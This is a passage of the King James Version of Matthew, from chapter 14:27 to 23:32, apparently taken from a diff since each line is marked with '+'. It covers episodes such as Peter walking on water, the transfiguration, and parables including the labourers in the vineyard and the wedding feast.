+14:27 But straightway Jesus spake unto them, saying, Be of good cheer; +it is I; be not afraid. + +14:28 And Peter answered him and said, Lord, if it be thou, bid me +come unto thee on the water. + +14:29 And he said, Come. And when Peter was come down out of the ship, +he walked on the water, to go to Jesus. + +14:30 But when he saw the wind boisterous, he was afraid; and +beginning to sink, he cried, saying, Lord, save me. + +14:31 And immediately Jesus stretched forth his hand, and caught him, +and said unto him, O thou of little faith, wherefore didst thou doubt? +14:32 And when they were come into the ship, the wind ceased. + +14:33 Then they that were in the ship came and worshipped him, saying, +Of a truth thou art the Son of God. + +14:34 And when they were gone over, they came into the land of +Gennesaret. + +14:35 And when the men of that place had knowledge of him, they sent +out into all that country round about, and brought unto him all that +were diseased; 14:36 And besought him that they might only touch the +hem of his garment: and as many as touched were made perfectly whole. + +15:1 Then came to Jesus scribes and Pharisees, which were of +Jerusalem, saying, 15:2 Why do thy disciples transgress the tradition +of the elders? for they wash not their hands when they eat bread. + +15:3 But he answered and said unto them, Why do ye also transgress the +commandment of God by your tradition? 15:4 For God commanded, saying, +Honour thy father and mother: and, He that curseth father or mother, +let him die the death. + +15:5 But ye say, Whosoever shall say to his father or his mother, It +is a gift, by whatsoever thou mightest be profited by me; 15:6 And +honour not his father or his mother, he shall be free. Thus have ye +made the commandment of God of none effect by your tradition. + +15:7 Ye hypocrites, well did Esaias prophesy of you, saying, 15:8 This +people draweth nigh unto me with their mouth, and honoureth me with +their lips; but their heart is far from me. + +15:9 But in vain they do worship me, teaching for doctrines the +commandments of men. + +15:10 And he called the multitude, and said unto them, Hear, and +understand: 15:11 Not that which goeth into the mouth defileth a man; +but that which cometh out of the mouth, this defileth a man. + +15:12 Then came his disciples, and said unto him, Knowest thou that +the Pharisees were offended, after they heard this saying? 15:13 But +he answered and said, Every plant, which my heavenly Father hath not +planted, shall be rooted up. + +15:14 Let them alone: they be blind leaders of the blind. And if the +blind lead the blind, both shall fall into the ditch. + +15:15 Then answered Peter and said unto him, Declare unto us this +parable. + +15:16 And Jesus said, Are ye also yet without understanding? 15:17 Do +not ye yet understand, that whatsoever entereth in at the mouth goeth +into the belly, and is cast out into the draught? 15:18 But those +things which proceed out of the mouth come forth from the heart; and +they defile the man. + +15:19 For out of the heart proceed evil thoughts, murders, adulteries, +fornications, thefts, false witness, blasphemies: 15:20 These are the +things which defile a man: but to eat with unwashen hands defileth not +a man. + +15:21 Then Jesus went thence, and departed into the coasts of Tyre and +Sidon. + +15:22 And, behold, a woman of Canaan came out of the same coasts, and +cried unto him, saying, Have mercy on me, O Lord, thou son of David; +my daughter is grievously vexed with a devil. + +15:23 But he answered her not a word. And his disciples came and +besought him, saying, Send her away; for she crieth after us. + +15:24 But he answered and said, I am not sent but unto the lost sheep +of the house of Israel. + +15:25 Then came she and worshipped him, saying, Lord, help me. + +15:26 But he answered and said, It is not meet to take the children's +bread, and to cast it to dogs. + +15:27 And she said, Truth, Lord: yet the dogs eat of the crumbs which +fall from their masters' table. + +15:28 Then Jesus answered and said unto her, O woman, great is thy +faith: be it unto thee even as thou wilt. And her daughter was made +whole from that very hour. + +15:29 And Jesus departed from thence, and came nigh unto the sea of +Galilee; and went up into a mountain, and sat down there. + +15:30 And great multitudes came unto him, having with them those that +were lame, blind, dumb, maimed, and many others, and cast them down at +Jesus' feet; and he healed them: 15:31 Insomuch that the multitude +wondered, when they saw the dumb to speak, the maimed to be whole, the +lame to walk, and the blind to see: and they glorified the God of +Israel. + +15:32 Then Jesus called his disciples unto him, and said, I have +compassion on the multitude, because they continue with me now three +days, and have nothing to eat: and I will not send them away fasting, +lest they faint in the way. + +15:33 And his disciples say unto him, Whence should we have so much +bread in the wilderness, as to fill so great a multitude? 15:34 And +Jesus saith unto them, How many loaves have ye? And they said, Seven, +and a few little fishes. + +15:35 And he commanded the multitude to sit down on the ground. + +15:36 And he took the seven loaves and the fishes, and gave thanks, +and brake them, and gave to his disciples, and the disciples to the +multitude. + +15:37 And they did all eat, and were filled: and they took up of the +broken meat that was left seven baskets full. + +15:38 And they that did eat were four thousand men, beside women and +children. + +15:39 And he sent away the multitude, and took ship, and came into the +coasts of Magdala. + +16:1 The Pharisees also with the Sadducees came, and tempting desired +him that he would shew them a sign from heaven. + +16:2 He answered and said unto them, When it is evening, ye say, It +will be fair weather: for the sky is red. + +16:3 And in the morning, It will be foul weather to day: for the sky +is red and lowering. O ye hypocrites, ye can discern the face of the +sky; but can ye not discern the signs of the times? 16:4 A wicked and +adulterous generation seeketh after a sign; and there shall no sign be +given unto it, but the sign of the prophet Jonas. And he left them, +and departed. + +16:5 And when his disciples were come to the other side, they had +forgotten to take bread. + +16:6 Then Jesus said unto them, Take heed and beware of the leaven of +the Pharisees and of the Sadducees. + +16:7 And they reasoned among themselves, saying, It is because we have +taken no bread. + +16:8 Which when Jesus perceived, he said unto them, O ye of little +faith, why reason ye among yourselves, because ye have brought no +bread? 16:9 Do ye not yet understand, neither remember the five +loaves of the five thousand, and how many baskets ye took up? 16:10 +Neither the seven loaves of the four thousand, and how many baskets ye +took up? 16:11 How is it that ye do not understand that I spake it +not to you concerning bread, that ye should beware of the leaven of +the Pharisees and of the Sadducees? 16:12 Then understood they how +that he bade them not beware of the leaven of bread, but of the +doctrine of the Pharisees and of the Sadducees. + +16:13 When Jesus came into the coasts of Caesarea Philippi, he asked +his disciples, saying, Whom do men say that I the Son of man am? +16:14 And they said, Some say that thou art John the Baptist: some, +Elias; and others, Jeremias, or one of the prophets. + +16:15 He saith unto them, But whom say ye that I am? 16:16 And Simon +Peter answered and said, Thou art the Christ, the Son of the living +God. + +16:17 And Jesus answered and said unto him, Blessed art thou, Simon +Barjona: for flesh and blood hath not revealed it unto thee, but my +Father which is in heaven. + +16:18 And I say also unto thee, That thou art Peter, and upon this +rock I will build my church; and the gates of hell shall not prevail +against it. + +16:19 And I will give unto thee the keys of the kingdom of heaven: and +whatsoever thou shalt bind on earth shall be bound in heaven: and +whatsoever thou shalt loose on earth shall be loosed in heaven. + +16:20 Then charged he his disciples that they should tell no man that +he was Jesus the Christ. + +16:21 From that time forth began Jesus to shew unto his disciples, how +that he must go unto Jerusalem, and suffer many things of the elders +and chief priests and scribes, and be killed, and be raised again the +third day. + +16:22 Then Peter took him, and began to rebuke him, saying, Be it far +from thee, Lord: this shall not be unto thee. + +16:23 But he turned, and said unto Peter, Get thee behind me, Satan: +thou art an offence unto me: for thou savourest not the things that be +of God, but those that be of men. + +16:24 Then said Jesus unto his disciples, If any man will come after +me, let him deny himself, and take up his cross, and follow me. + +16:25 For whosoever will save his life shall lose it: and whosoever +will lose his life for my sake shall find it. + +16:26 For what is a man profited, if he shall gain the whole world, +and lose his own soul? or what shall a man give in exchange for his +soul? 16:27 For the Son of man shall come in the glory of his Father +with his angels; and then he shall reward every man according to his +works. + +16:28 Verily I say unto you, There be some standing here, which shall +not taste of death, till they see the Son of man coming in his +kingdom. + +17:1 And after six days Jesus taketh Peter, James, and John his +brother, and bringeth them up into an high mountain apart, 17:2 And +was transfigured before them: and his face did shine as the sun, and +his raiment was white as the light. + +17:3 And, behold, there appeared unto them Moses and Elias talking +with him. + +17:4 Then answered Peter, and said unto Jesus, Lord, it is good for us +to be here: if thou wilt, let us make here three tabernacles; one for +thee, and one for Moses, and one for Elias. + +17:5 While he yet spake, behold, a bright cloud overshadowed them: and +behold a voice out of the cloud, which said, This is my beloved Son, +in whom I am well pleased; hear ye him. + +17:6 And when the disciples heard it, they fell on their face, and +were sore afraid. + +17:7 And Jesus came and touched them, and said, Arise, and be not +afraid. + +17:8 And when they had lifted up their eyes, they saw no man, save +Jesus only. + +17:9 And as they came down from the mountain, Jesus charged them, +saying, Tell the vision to no man, until the Son of man be risen again +from the dead. + +17:10 And his disciples asked him, saying, Why then say the scribes +that Elias must first come? 17:11 And Jesus answered and said unto +them, Elias truly shall first come, and restore all things. + +17:12 But I say unto you, That Elias is come already, and they knew +him not, but have done unto him whatsoever they listed. Likewise shall +also the Son of man suffer of them. + +17:13 Then the disciples understood that he spake unto them of John +the Baptist. + +17:14 And when they were come to the multitude, there came to him a +certain man, kneeling down to him, and saying, 17:15 Lord, have mercy +on my son: for he is lunatick, and sore vexed: for ofttimes he falleth +into the fire, and oft into the water. + +17:16 And I brought him to thy disciples, and they could not cure him. + +17:17 Then Jesus answered and said, O faithless and perverse +generation, how long shall I be with you? how long shall I suffer you? +bring him hither to me. + +17:18 And Jesus rebuked the devil; and he departed out of him: and the +child was cured from that very hour. + +17:19 Then came the disciples to Jesus apart, and said, Why could not +we cast him out? 17:20 And Jesus said unto them, Because of your +unbelief: for verily I say unto you, If ye have faith as a grain of +mustard seed, ye shall say unto this mountain, Remove hence to yonder +place; and it shall remove; and nothing shall be impossible unto you. + +17:21 Howbeit this kind goeth not out but by prayer and fasting. + +17:22 And while they abode in Galilee, Jesus said unto them, The Son +of man shall be betrayed into the hands of men: 17:23 And they shall +kill him, and the third day he shall be raised again. + +And they were exceeding sorry. + +17:24 And when they were come to Capernaum, they that received tribute +money came to Peter, and said, Doth not your master pay tribute? +17:25 He saith, Yes. And when he was come into the house, Jesus +prevented him, saying, What thinkest thou, Simon? of whom do the kings +of the earth take custom or tribute? of their own children, or of +strangers? 17:26 Peter saith unto him, Of strangers. Jesus saith unto +him, Then are the children free. + +17:27 Notwithstanding, lest we should offend them, go thou to the sea, +and cast an hook, and take up the fish that first cometh up; and when +thou hast opened his mouth, thou shalt find a piece of money: that +take, and give unto them for me and thee. + +18:1 At the same time came the disciples unto Jesus, saying, Who is +the greatest in the kingdom of heaven? 18:2 And Jesus called a little +child unto him, and set him in the midst of them, 18:3 And said, +Verily I say unto you, Except ye be converted, and become as little +children, ye shall not enter into the kingdom of heaven. + +18:4 Whosoever therefore shall humble himself as this little child, +the same is greatest in the kingdom of heaven. + +18:5 And whoso shall receive one such little child in my name +receiveth me. + +18:6 But whoso shall offend one of these little ones which believe in +me, it were better for him that a millstone were hanged about his +neck, and that he were drowned in the depth of the sea. + +18:7 Woe unto the world because of offences! for it must needs be that +offences come; but woe to that man by whom the offence cometh! 18:8 +Wherefore if thy hand or thy foot offend thee, cut them off, and cast +them from thee: it is better for thee to enter into life halt or +maimed, rather than having two hands or two feet to be cast into +everlasting fire. + +18:9 And if thine eye offend thee, pluck it out, and cast it from +thee: it is better for thee to enter into life with one eye, rather +than having two eyes to be cast into hell fire. + +18:10 Take heed that ye despise not one of these little ones; for I +say unto you, That in heaven their angels do always behold the face of +my Father which is in heaven. + +18:11 For the Son of man is come to save that which was lost. + +18:12 How think ye? if a man have an hundred sheep, and one of them be +gone astray, doth he not leave the ninety and nine, and goeth into the +mountains, and seeketh that which is gone astray? 18:13 And if so be +that he find it, verily I say unto you, he rejoiceth more of that +sheep, than of the ninety and nine which went not astray. + +18:14 Even so it is not the will of your Father which is in heaven, +that one of these little ones should perish. + +18:15 Moreover if thy brother shall trespass against thee, go and tell +him his fault between thee and him alone: if he shall hear thee, thou +hast gained thy brother. + +18:16 But if he will not hear thee, then take with thee one or two +more, that in the mouth of two or three witnesses every word may be +established. + +18:17 And if he shall neglect to hear them, tell it unto the church: +but if he neglect to hear the church, let him be unto thee as an +heathen man and a publican. + +18:18 Verily I say unto you, Whatsoever ye shall bind on earth shall +be bound in heaven: and whatsoever ye shall loose on earth shall be +loosed in heaven. + +18:19 Again I say unto you, That if two of you shall agree on earth as +touching any thing that they shall ask, it shall be done for them of +my Father which is in heaven. + +18:20 For where two or three are gathered together in my name, there +am I in the midst of them. + +18:21 Then came Peter to him, and said, Lord, how oft shall my brother +sin against me, and I forgive him? till seven times? 18:22 Jesus +saith unto him, I say not unto thee, Until seven times: but, Until +seventy times seven. + +18:23 Therefore is the kingdom of heaven likened unto a certain king, +which would take account of his servants. + +18:24 And when he had begun to reckon, one was brought unto him, which +owed him ten thousand talents. + +18:25 But forasmuch as he had not to pay, his lord commanded him to be +sold, and his wife, and children, and all that he had, and payment to +be made. + +18:26 The servant therefore fell down, and worshipped him, saying, +Lord, have patience with me, and I will pay thee all. + +18:27 Then the lord of that servant was moved with compassion, and +loosed him, and forgave him the debt. + +18:28 But the same servant went out, and found one of his +fellowservants, which owed him an hundred pence: and he laid hands on +him, and took him by the throat, saying, Pay me that thou owest. + +18:29 And his fellowservant fell down at his feet, and besought him, +saying, Have patience with me, and I will pay thee all. + +18:30 And he would not: but went and cast him into prison, till he +should pay the debt. + +18:31 So when his fellowservants saw what was done, they were very +sorry, and came and told unto their lord all that was done. + +18:32 Then his lord, after that he had called him, said unto him, O +thou wicked servant, I forgave thee all that debt, because thou +desiredst me: 18:33 Shouldest not thou also have had compassion on thy +fellowservant, even as I had pity on thee? 18:34 And his lord was +wroth, and delivered him to the tormentors, till he should pay all +that was due unto him. + +18:35 So likewise shall my heavenly Father do also unto you, if ye +from your hearts forgive not every one his brother their trespasses. + +19:1 And it came to pass, that when Jesus had finished these sayings, +he departed from Galilee, and came into the coasts of Judaea beyond +Jordan; 19:2 And great multitudes followed him; and he healed them +there. + +19:3 The Pharisees also came unto him, tempting him, and saying unto +him, Is it lawful for a man to put away his wife for every cause? +19:4 And he answered and said unto them, Have ye not read, that he +which made them at the beginning made them male and female, 19:5 And +said, For this cause shall a man leave father and mother, and shall +cleave to his wife: and they twain shall be one flesh? 19:6 Wherefore +they are no more twain, but one flesh. What therefore God hath joined +together, let not man put asunder. + +19:7 They say unto him, Why did Moses then command to give a writing +of divorcement, and to put her away? 19:8 He saith unto them, Moses +because of the hardness of your hearts suffered you to put away your +wives: but from the beginning it was not so. + +19:9 And I say unto you, Whosoever shall put away his wife, except it +be for fornication, and shall marry another, committeth adultery: and +whoso marrieth her which is put away doth commit adultery. + +19:10 His disciples say unto him, If the case of the man be so with +his wife, it is not good to marry. + +19:11 But he said unto them, All men cannot receive this saying, save +they to whom it is given. + +19:12 For there are some eunuchs, which were so born from their +mother's womb: and there are some eunuchs, which were made eunuchs of +men: and there be eunuchs, which have made themselves eunuchs for the +kingdom of heaven's sake. He that is able to receive it, let him +receive it. + +19:13 Then were there brought unto him little children, that he should +put his hands on them, and pray: and the disciples rebuked them. + +19:14 But Jesus said, Suffer little children, and forbid them not, to +come unto me: for of such is the kingdom of heaven. + +19:15 And he laid his hands on them, and departed thence. + +19:16 And, behold, one came and said unto him, Good Master, what good +thing shall I do, that I may have eternal life? 19:17 And he said +unto him, Why callest thou me good? there is none good but one, that +is, God: but if thou wilt enter into life, keep the commandments. + +19:18 He saith unto him, Which? Jesus said, Thou shalt do no murder, +Thou shalt not commit adultery, Thou shalt not steal, Thou shalt not +bear false witness, 19:19 Honour thy father and thy mother: and, Thou +shalt love thy neighbour as thyself. + +19:20 The young man saith unto him, All these things have I kept from +my youth up: what lack I yet? 19:21 Jesus said unto him, If thou wilt +be perfect, go and sell that thou hast, and give to the poor, and thou +shalt have treasure in heaven: and come and follow me. + +19:22 But when the young man heard that saying, he went away +sorrowful: for he had great possessions. + +19:23 Then said Jesus unto his disciples, Verily I say unto you, That +a rich man shall hardly enter into the kingdom of heaven. + +19:24 And again I say unto you, It is easier for a camel to go through +the eye of a needle, than for a rich man to enter into the kingdom of +God. + +19:25 When his disciples heard it, they were exceedingly amazed, +saying, Who then can be saved? 19:26 But Jesus beheld them, and said +unto them, With men this is impossible; but with God all things are +possible. + +19:27 Then answered Peter and said unto him, Behold, we have forsaken +all, and followed thee; what shall we have therefore? 19:28 And Jesus +said unto them, Verily I say unto you, That ye which have followed me, +in the regeneration when the Son of man shall sit in the throne of his +glory, ye also shall sit upon twelve thrones, judging the twelve +tribes of Israel. + +19:29 And every one that hath forsaken houses, or brethren, or +sisters, or father, or mother, or wife, or children, or lands, for my +name's sake, shall receive an hundredfold, and shall inherit +everlasting life. + +19:30 But many that are first shall be last; and the last shall be +first. + +20:1 For the kingdom of heaven is like unto a man that is an +householder, which went out early in the morning to hire labourers +into his vineyard. + +20:2 And when he had agreed with the labourers for a penny a day, he +sent them into his vineyard. + +20:3 And he went out about the third hour, and saw others standing +idle in the marketplace, 20:4 And said unto them; Go ye also into the +vineyard, and whatsoever is right I will give you. And they went their +way. + +20:5 Again he went out about the sixth and ninth hour, and did +likewise. + +20:6 And about the eleventh hour he went out, and found others +standing idle, and saith unto them, Why stand ye here all the day +idle? 20:7 They say unto him, Because no man hath hired us. He saith +unto them, Go ye also into the vineyard; and whatsoever is right, that +shall ye receive. + +20:8 So when even was come, the lord of the vineyard saith unto his +steward, Call the labourers, and give them their hire, beginning from +the last unto the first. + +20:9 And when they came that were hired about the eleventh hour, they +received every man a penny. + +20:10 But when the first came, they supposed that they should have +received more; and they likewise received every man a penny. + +20:11 And when they had received it, they murmured against the goodman +of the house, 20:12 Saying, These last have wrought but one hour, and +thou hast made them equal unto us, which have borne the burden and +heat of the day. + +20:13 But he answered one of them, and said, Friend, I do thee no +wrong: didst not thou agree with me for a penny? 20:14 Take that +thine is, and go thy way: I will give unto this last, even as unto +thee. + +20:15 Is it not lawful for me to do what I will with mine own? Is +thine eye evil, because I am good? 20:16 So the last shall be first, +and the first last: for many be called, but few chosen. + +20:17 And Jesus going up to Jerusalem took the twelve disciples apart +in the way, and said unto them, 20:18 Behold, we go up to Jerusalem; +and the Son of man shall be betrayed unto the chief priests and unto +the scribes, and they shall condemn him to death, 20:19 And shall +deliver him to the Gentiles to mock, and to scourge, and to crucify +him: and the third day he shall rise again. + +20:20 Then came to him the mother of Zebedees children with her sons, +worshipping him, and desiring a certain thing of him. + +20:21 And he said unto her, What wilt thou? She saith unto him, Grant +that these my two sons may sit, the one on thy right hand, and the +other on the left, in thy kingdom. + +20:22 But Jesus answered and said, Ye know not what ye ask. Are ye +able to drink of the cup that I shall drink of, and to be baptized +with the baptism that I am baptized with? They say unto him, We are +able. + +20:23 And he saith unto them, Ye shall drink indeed of my cup, and be +baptized with the baptism that I am baptized with: but to sit on my +right hand, and on my left, is not mine to give, but it shall be given +to them for whom it is prepared of my Father. + +20:24 And when the ten heard it, they were moved with indignation +against the two brethren. + +20:25 But Jesus called them unto him, and said, Ye know that the +princes of the Gentiles exercise dominion over them, and they that are +great exercise authority upon them. + +20:26 But it shall not be so among you: but whosoever will be great +among you, let him be your minister; 20:27 And whosoever will be chief +among you, let him be your servant: 20:28 Even as the Son of man came +not to be ministered unto, but to minister, and to give his life a +ransom for many. + +20:29 And as they departed from Jericho, a great multitude followed +him. + +20:30 And, behold, two blind men sitting by the way side, when they +heard that Jesus passed by, cried out, saying, Have mercy on us, O +Lord, thou son of David. + +20:31 And the multitude rebuked them, because they should hold their +peace: but they cried the more, saying, Have mercy on us, O Lord, thou +son of David. + +20:32 And Jesus stood still, and called them, and said, What will ye +that I shall do unto you? 20:33 They say unto him, Lord, that our +eyes may be opened. + +20:34 So Jesus had compassion on them, and touched their eyes: and +immediately their eyes received sight, and they followed him. + +21:1 And when they drew nigh unto Jerusalem, and were come to +Bethphage, unto the mount of Olives, then sent Jesus two disciples, +21:2 Saying unto them, Go into the village over against you, and +straightway ye shall find an ass tied, and a colt with her: loose +them, and bring them unto me. + +21:3 And if any man say ought unto you, ye shall say, The Lord hath +need of them; and straightway he will send them. + +21:4 All this was done, that it might be fulfilled which was spoken by +the prophet, saying, 21:5 Tell ye the daughter of Sion, Behold, thy +King cometh unto thee, meek, and sitting upon an ass, and a colt the +foal of an ass. + +21:6 And the disciples went, and did as Jesus commanded them, 21:7 And +brought the ass, and the colt, and put on them their clothes, and they +set him thereon. + +21:8 And a very great multitude spread their garments in the way; +others cut down branches from the trees, and strawed them in the way. + +21:9 And the multitudes that went before, and that followed, cried, +saying, Hosanna to the son of David: Blessed is he that cometh in the +name of the Lord; Hosanna in the highest. + +21:10 And when he was come into Jerusalem, all the city was moved, +saying, Who is this? 21:11 And the multitude said, This is Jesus the +prophet of Nazareth of Galilee. + +21:12 And Jesus went into the temple of God, and cast out all them +that sold and bought in the temple, and overthrew the tables of the +moneychangers, and the seats of them that sold doves, 21:13 And said +unto them, It is written, My house shall be called the house of +prayer; but ye have made it a den of thieves. + +21:14 And the blind and the lame came to him in the temple; and he +healed them. + +21:15 And when the chief priests and scribes saw the wonderful things +that he did, and the children crying in the temple, and saying, +Hosanna to the son of David; they were sore displeased, 21:16 And said +unto him, Hearest thou what these say? And Jesus saith unto them, Yea; +have ye never read, Out of the mouth of babes and sucklings thou hast +perfected praise? 21:17 And he left them, and went out of the city +into Bethany; and he lodged there. + +21:18 Now in the morning as he returned into the city, he hungered. + +21:19 And when he saw a fig tree in the way, he came to it, and found +nothing thereon, but leaves only, and said unto it, Let no fruit grow +on thee henceforward for ever. And presently the fig tree withered +away. + +21:20 And when the disciples saw it, they marvelled, saying, How soon +is the fig tree withered away! 21:21 Jesus answered and said unto +them, Verily I say unto you, If ye have faith, and doubt not, ye shall +not only do this which is done to the fig tree, but also if ye shall +say unto this mountain, Be thou removed, and be thou cast into the +sea; it shall be done. + +21:22 And all things, whatsoever ye shall ask in prayer, believing, ye +shall receive. + +21:23 And when he was come into the temple, the chief priests and the +elders of the people came unto him as he was teaching, and said, By +what authority doest thou these things? and who gave thee this +authority? 21:24 And Jesus answered and said unto them, I also will +ask you one thing, which if ye tell me, I in like wise will tell you +by what authority I do these things. + +21:25 The baptism of John, whence was it? from heaven, or of men? And +they reasoned with themselves, saying, If we shall say, From heaven; +he will say unto us, Why did ye not then believe him? 21:26 But if we +shall say, Of men; we fear the people; for all hold John as a prophet. + +21:27 And they answered Jesus, and said, We cannot tell. And he said +unto them, Neither tell I you by what authority I do these things. + +21:28 But what think ye? A certain man had two sons; and he came to +the first, and said, Son, go work to day in my vineyard. + +21:29 He answered and said, I will not: but afterward he repented, and +went. + +21:30 And he came to the second, and said likewise. And he answered +and said, I go, sir: and went not. + +21:31 Whether of them twain did the will of his father? They say unto +him, The first. Jesus saith unto them, Verily I say unto you, That the +publicans and the harlots go into the kingdom of God before you. + +21:32 For John came unto you in the way of righteousness, and ye +believed him not: but the publicans and the harlots believed him: and +ye, when ye had seen it, repented not afterward, that ye might believe +him. + +21:33 Hear another parable: There was a certain householder, which +planted a vineyard, and hedged it round about, and digged a winepress +in it, and built a tower, and let it out to husbandmen, and went into +a far country: 21:34 And when the time of the fruit drew near, he sent +his servants to the husbandmen, that they might receive the fruits of +it. + +21:35 And the husbandmen took his servants, and beat one, and killed +another, and stoned another. + +21:36 Again, he sent other servants more than the first: and they did +unto them likewise. + +21:37 But last of all he sent unto them his son, saying, They will +reverence my son. + +21:38 But when the husbandmen saw the son, they said among themselves, +This is the heir; come, let us kill him, and let us seize on his +inheritance. + +21:39 And they caught him, and cast him out of the vineyard, and slew +him. + +21:40 When the lord therefore of the vineyard cometh, what will he do +unto those husbandmen? 21:41 They say unto him, He will miserably +destroy those wicked men, and will let out his vineyard unto other +husbandmen, which shall render him the fruits in their seasons. + +21:42 Jesus saith unto them, Did ye never read in the scriptures, The +stone which the builders rejected, the same is become the head of the +corner: this is the Lord's doing, and it is marvellous in our eyes? +21:43 Therefore say I unto you, The kingdom of God shall be taken from +you, and given to a nation bringing forth the fruits thereof. + +21:44 And whosoever shall fall on this stone shall be broken: but on +whomsoever it shall fall, it will grind him to powder. + +21:45 And when the chief priests and Pharisees had heard his parables, +they perceived that he spake of them. + +21:46 But when they sought to lay hands on him, they feared the +multitude, because they took him for a prophet. + +22:1 And Jesus answered and spake unto them again by parables, and +said, 22:2 The kingdom of heaven is like unto a certain king, which +made a marriage for his son, 22:3 And sent forth his servants to call +them that were bidden to the wedding: and they would not come. + +22:4 Again, he sent forth other servants, saying, Tell them which are +bidden, Behold, I have prepared my dinner: my oxen and my fatlings are +killed, and all things are ready: come unto the marriage. + +22:5 But they made light of it, and went their ways, one to his farm, +another to his merchandise: 22:6 And the remnant took his servants, +and entreated them spitefully, and slew them. + +22:7 But when the king heard thereof, he was wroth: and he sent forth +his armies, and destroyed those murderers, and burned up their city. + +22:8 Then saith he to his servants, The wedding is ready, but they +which were bidden were not worthy. + +22:9 Go ye therefore into the highways, and as many as ye shall find, +bid to the marriage. + +22:10 So those servants went out into the highways, and gathered +together all as many as they found, both bad and good: and the wedding +was furnished with guests. + +22:11 And when the king came in to see the guests, he saw there a man +which had not on a wedding garment: 22:12 And he saith unto him, +Friend, how camest thou in hither not having a wedding garment? And he +was speechless. + +22:13 Then said the king to the servants, Bind him hand and foot, and +take him away, and cast him into outer darkness, there shall be +weeping and gnashing of teeth. + +22:14 For many are called, but few are chosen. + +22:15 Then went the Pharisees, and took counsel how they might +entangle him in his talk. + +22:16 And they sent out unto him their disciples with the Herodians, +saying, Master, we know that thou art true, and teachest the way of +God in truth, neither carest thou for any man: for thou regardest not +the person of men. + +22:17 Tell us therefore, What thinkest thou? Is it lawful to give +tribute unto Caesar, or not? 22:18 But Jesus perceived their +wickedness, and said, Why tempt ye me, ye hypocrites? 22:19 Shew me +the tribute money. And they brought unto him a penny. + +22:20 And he saith unto them, Whose is this image and superscription? +22:21 They say unto him, Caesar's. Then saith he unto them, Render +therefore unto Caesar the things which are Caesar's; and unto God the +things that are God's. + +22:22 When they had heard these words, they marvelled, and left him, +and went their way. + +22:23 The same day came to him the Sadducees, which say that there is +no resurrection, and asked him, 22:24 Saying, Master, Moses said, If a +man die, having no children, his brother shall marry his wife, and +raise up seed unto his brother. + +22:25 Now there were with us seven brethren: and the first, when he +had married a wife, deceased, and, having no issue, left his wife unto +his brother: 22:26 Likewise the second also, and the third, unto the +seventh. + +22:27 And last of all the woman died also. + +22:28 Therefore in the resurrection whose wife shall she be of the +seven? for they all had her. + +22:29 Jesus answered and said unto them, Ye do err, not knowing the +scriptures, nor the power of God. + +22:30 For in the resurrection they neither marry, nor are given in +marriage, but are as the angels of God in heaven. + +22:31 But as touching the resurrection of the dead, have ye not read +that which was spoken unto you by God, saying, 22:32 I am the God of +Abraham, and the God of Isaac, and the God of Jacob? God is not the +God of the dead, but of the living. + +22:33 And when the multitude heard this, they were astonished at his +doctrine. + +22:34 But when the Pharisees had heard that he had put the Sadducees +to silence, they were gathered together. + +22:35 Then one of them, which was a lawyer, asked him a question, +tempting him, and saying, 22:36 Master, which is the great commandment +in the law? 22:37 Jesus said unto him, Thou shalt love the Lord thy +God with all thy heart, and with all thy soul, and with all thy mind. + +22:38 This is the first and great commandment. + +22:39 And the second is like unto it, Thou shalt love thy neighbour as +thyself. + +22:40 On these two commandments hang all the law and the prophets. + +22:41 While the Pharisees were gathered together, Jesus asked them, +22:42 Saying, What think ye of Christ? whose son is he? They say unto +him, The son of David. + +22:43 He saith unto them, How then doth David in spirit call him Lord, +saying, 22:44 The LORD said unto my Lord, Sit thou on my right hand, +till I make thine enemies thy footstool? 22:45 If David then call him +Lord, how is he his son? 22:46 And no man was able to answer him a +word, neither durst any man from that day forth ask him any more +questions. + +23:1 Then spake Jesus to the multitude, and to his disciples, 23:2 +Saying The scribes and the Pharisees sit in Moses' seat: 23:3 All +therefore whatsoever they bid you observe, that observe and do; but do +not ye after their works: for they say, and do not. + +23:4 For they bind heavy burdens and grievous to be borne, and lay +them on men's shoulders; but they themselves will not move them with +one of their fingers. + +23:5 But all their works they do for to be seen of men: they make +broad their phylacteries, and enlarge the borders of their garments, +23:6 And love the uppermost rooms at feasts, and the chief seats in +the synagogues, 23:7 And greetings in the markets, and to be called of +men, Rabbi, Rabbi. + +23:8 But be not ye called Rabbi: for one is your Master, even Christ; +and all ye are brethren. + +23:9 And call no man your father upon the earth: for one is your +Father, which is in heaven. + +23:10 Neither be ye called masters: for one is your Master, even +Christ. + +23:11 But he that is greatest among you shall be your servant. + +23:12 And whosoever shall exalt himself shall be abased; and he that +shall humble himself shall be exalted. + +23:13 But woe unto you, scribes and Pharisees, hypocrites! for ye shut +up the kingdom of heaven against men: for ye neither go in yourselves, +neither suffer ye them that are entering to go in. + +23:14 Woe unto you, scribes and Pharisees, hypocrites! for ye devour +widows' houses, and for a pretence make long prayer: therefore ye +shall receive the greater damnation. + +23:15 Woe unto you, scribes and Pharisees, hypocrites! for ye compass +sea and land to make one proselyte, and when he is made, ye make him +twofold more the child of hell than yourselves. + +23:16 Woe unto you, ye blind guides, which say, Whosoever shall swear +by the temple, it is nothing; but whosoever shall swear by the gold of +the temple, he is a debtor! 23:17 Ye fools and blind: for whether is +greater, the gold, or the temple that sanctifieth the gold? 23:18 +And, Whosoever shall swear by the altar, it is nothing; but whosoever +sweareth by the gift that is upon it, he is guilty. + +23:19 Ye fools and blind: for whether is greater, the gift, or the +altar that sanctifieth the gift? 23:20 Whoso therefore shall swear by +the altar, sweareth by it, and by all things thereon. + +23:21 And whoso shall swear by the temple, sweareth by it, and by him +that dwelleth therein. + +23:22 And he that shall swear by heaven, sweareth by the throne of +God, and by him that sitteth thereon. + +23:23 Woe unto you, scribes and Pharisees, hypocrites! for ye pay +tithe of mint and anise and cummin, and have omitted the weightier +matters of the law, judgment, mercy, and faith: these ought ye to have +done, and not to leave the other undone. + +23:24 Ye blind guides, which strain at a gnat, and swallow a camel. + +23:25 Woe unto you, scribes and Pharisees, hypocrites! for ye make +clean the outside of the cup and of the platter, but within they are +full of extortion and excess. + +23:26 Thou blind Pharisee, cleanse first that which is within the cup +and platter, that the outside of them may be clean also. + +23:27 Woe unto you, scribes and Pharisees, hypocrites! for ye are like +unto whited sepulchres, which indeed appear beautiful outward, but are +within full of dead men's bones, and of all uncleanness. + +23:28 Even so ye also outwardly appear righteous unto men, but within +ye are full of hypocrisy and iniquity. + +23:29 Woe unto you, scribes and Pharisees, hypocrites! because ye +build the tombs of the prophets, and garnish the sepulchres of the +righteous, 23:30 And say, If we had been in the days of our fathers, +we would not have been partakers with them in the blood of the +prophets. + +23:31 Wherefore ye be witnesses unto yourselves, that ye are the +children of them which killed the prophets. + +23:32 Fill ye up then the measure of your 